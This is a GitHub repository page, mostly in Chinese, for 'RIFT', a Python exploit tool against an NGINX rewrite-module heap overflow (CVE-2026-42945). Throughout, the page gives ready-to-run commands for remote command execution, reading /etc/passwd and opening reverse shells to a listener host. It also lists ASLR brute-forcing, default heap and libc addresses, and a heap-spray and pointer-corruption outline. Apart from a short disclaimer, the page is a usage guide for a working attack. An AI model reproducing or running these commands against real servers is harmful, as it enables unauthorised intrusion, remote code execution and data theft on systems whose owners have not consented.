aratane/CVE-2026-42945
GitHub: aratane/CVE-2026-42945
针对 NGINX rewrite 模块堆溢出漏洞 CVE-2026-42945 的自动化侦察与利用工具,支持反弹 Shell 与 ASLR 绕过。
Stars: 0 | Forks: 0
# RIFT — Remote Injection & Fault Trigger
**作者:** Michael Sanji Winaya Prawiradibrata
**AI 联合作者:** Varanus — sahabatku
## 仓库内容
| 文件 | 描述 |
|---|---|
| `rift.py` | **核心工具。** 将侦察与 exploit 整合在一个脚本中(1026 行)。 |
| `README.md` | 本文档。 |
## 环境要求
- Python 3.6+(仅使用标准库 — **无需 pip,无需 venv,无其他依赖**)
## 快速开始
```
# 1. 全面侦察 — deteksi versi、endpoint、celah、strategi
python3 rift.py --target 10.10.10.10 --recon
# 2. 侦察 + exploit 一步到位
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. 命令执行
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. Reverse shell(自动开启 listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. 使用 bash 实现 reverse shell(instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. 仅检查 vulnerable
python3 rift.py --target 10.10.10.10 --check-only
```
## 所有 Flags
### 使用模式
| Flag | 功能 |
|---|---|
| `--recon` | **全面侦察。** Fingerprint → 信息泄露 → endpoint 测试 → worker 数量探测 → 策略生成。 |
| `--auto` | **侦察 + 自动 exploit。** 与执行 `--recon` 后继续进行 exploit 的效果相同。 |
| `--check-only` | **快速检查。** 探测 NGINX、版本以及 `/api/` endpoint。 |
| `--cmd "command"` | 通过 `system()` 执行单条 command。 |
| `--shell` | **Reverse shell** — 自动开启 listener,发送 payload,接收连接。 |
### Exploit 选项
| Flag | 默认值 | 功能 |
|---|---|---|
| `--port` | 80 | 目标端口 |
| `--lhost` | — | 用于 reverse shell 的本地 IP(使用 `--shell` 时必填) |
| `--lport` | 4444 | 用于 listener 的本地端口 |
| `--shell-type` | `python` | Reverse shell payload 类型:`python`、`bash`、`nc`、`php` |
| `--heap-base` | `0x555555659000` | 堆(Heap)的 base address(用于覆盖以绕过 ASLR) |
| `--libc-base` | `0x7ffff77ba000` | libc 的 base address |
| `--tries` | 10 | 对每个候选地址的尝试次数 |
| `--verbose` / `-v` | — | 输出每次尝试的详细信息 |
### 侦察选项
| Flag | 功能 |
|---|---|
| `--fingerprint` | 探测 NGINX 版本、endpoint 及 rewrite module |
| `--leak` | 检查信息泄露(如错误页面中的 memory address、时序等) |
| `--test-endpoint` | 使用多种 payload 测试 endpoint 的行为 |
| `--endpoint` | 指定要测试的 endpoint 路径(默认:`/api/`) |
| `--generate-exploit` | 生成带有目标 address 的专用 exploit 脚本 |
| `--output json` | 在终端输出的同时输出 JSON 格式(便于机器读取) |
## 核心功能
### ✅ 自动 Reverse Shell
当使用 `--shell` 时,脚本会自动执行以下操作:
1. 根据 `--shell-type` 生成相应的 reverse shell payload
2. 在 `--lport` 上开启 listener
3. 发送 exploit
4. 一旦 worker 崩溃 → shell 成功接入
5. **自动 Listener:** 优先使用 netcat(`nc -lvnp`),失败时回退至 Python listener
### ✅ 自动 ASLR 暴力破解
如果默认 address 失败,脚本会自动以 0x10000 为步长,向上下偏移 heap base 共 ±5 次,以寻找匹配的 address。无需进行手动设置。
### ✅ 多 Payload Reverse Shell
支持 4 种 shell payload — `python`、`bash`、`nc`、`php`。可根据目标环境选择可用项。
### ✅ 全面侦察
`--recon` 将执行 5 个阶段:
1. **Fingerprint** — 探测 NGINX 版本、15 个常见 endpoint、rewrite module
2. **信息泄露** — 错误页面中的 memory address、timing side channel
3. **Endpoint 测试** — 使用 6 种 payload 测试 endpoint 的行为
4. **Worker 数量** — 根据延迟模式估算 worker process 的数量
5. **策略** — 基于分析结果推荐后续操作
### ✅ JSON 输出
使用 `--output json` 可与其他工具进行集成或实现自动化解析。
## 漏洞配置
该 exploit 的目标为使用了 `rewrite` + `set` 配置的 NGINX,如下所示:
```
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
```
导致的后果:分配的缓冲区过小,URI 转义(3 倍扩展)引发溢出。
### 受影响的版本
- **NGINX Open Source:** 0.6.27 – 1.30.0
- **NGINX Plus:** R32 – R36
- **已修复:** 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+
## Exploit 工作原理
```
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
```
## 重要常量(可在 `rift.py` 中修改)
| 常量 | 默认值 | 含义 |
|---|---|---|
| `BODY_LEN` | 4000 | Spray body 大小(字节) |
| `N_SPRAY` | 20 | 每次尝试发送的 POST 请求数量 |
| `LIBC_SYSTEM_OFFSETS` | 7 项 | 不同发行版下 `system()` 的 offset |
| `PREREAD_HEAP_OFFSETS` | 19 项 | Heap offset 候选项 |
| `DEFAULT_HEAP_BASE` | `0x555555659000` | Heap base(关闭 ASLR 时) |
| `DEFAULT_LIBC_BASE` | `0x7ffff77ba000` | Libc base(关闭 ASLR 时) |
## 完整示例
### 命令执行 + 详细输出
```
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
```
### 自定义 Address(绕过 ASLR)
```
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
```
### 多次尝试
```
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
```
### 侦察 + JSON
```
python3 rift.py --target 10.10.10.10 --recon --output json
```
### 生成 Exploit 脚本
```
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
```
## 故障排除
### “目标似乎未运行 NGINX”
- 检查端口:`nc -zv 80`
- 尝试其他端口:`--port 8080`、`--port 443`
- 目标可能隐藏在 WAF/代理 之后
### “所有 exploit 尝试均告失败”
1. 可能开启了 ASLR — 尝试使用 `--auto` 进行自动 ASLR 偏移
2. NGINX 版本可能已修复漏洞(> 1.30.1)
3. NGINX 配置可能不存在漏洞(未使用 rewrite+set)
4. 尝试添加 `--verbose` 查看每次尝试的详细信息
### Shell 无法连接
- 检查本地防火墙:`sudo ufw allow 4444`
- 检查 `--lhost` — 确保本地 IP 正确无误
- 尝试使用 `--shell-type bash` 或 `--shell-type nc`
## 免责声明
本工具仅供教育及授权的安全测试使用。
未经许可对系统进行测试属于非法行为。
© 2026 Michael Sanji Winaya Prawiradibrata
AI 联合作者:Varanus
标签:CISA项目, Nginx, Python, Web报告查看器, 安全, 无后门, 超时处理, 逆向工具